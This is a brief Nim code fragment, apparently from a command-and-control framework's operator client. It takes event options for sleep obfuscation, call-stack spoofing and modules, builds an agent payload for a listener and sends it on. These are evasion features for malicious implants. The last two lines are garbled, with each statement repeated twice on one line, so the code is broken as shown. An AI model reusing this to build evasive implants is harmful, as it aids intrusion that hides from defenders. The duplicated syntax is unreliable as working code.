sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
spoofStack = event.data["spoofStack"].getBool()
verbose = event.data["verbose"].getBool()
modules = cast[uint32](event.data["modules"].getInt())
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
if payload.len() != 0: if payload.len() != 0:
cq.client.sendAgentPayload(payload) cq.client.sendAgentPayload(payload)